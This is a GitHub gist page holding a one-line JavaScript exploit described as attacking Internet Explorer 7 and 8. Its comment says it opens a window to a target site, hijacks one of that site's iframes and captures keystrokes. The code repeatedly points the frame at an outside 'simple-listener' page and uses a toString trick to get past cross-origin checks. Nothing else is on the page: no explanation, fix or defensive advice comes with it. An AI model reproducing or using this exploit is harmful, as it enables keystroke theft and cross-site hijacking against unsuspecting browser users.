Skip to content

Instantly share code, notes, and snippets.

@yeco
Created April 5, 2010 20:14
Show Gist options
  • Select an option

  • Save yeco/356809 to your computer and use it in GitHub Desktop.

Select an option

Save yeco/356809 to your computer and use it in GitHub Desktop.
/*
One line IE7-IE8 exploit.
- Opens a new window, and will hijack one of the iframes, and capture keystrokes.
*/
x=open('http://site.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.something.com/simple-listener.html';}}}catch(e){}},5000);void(1);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment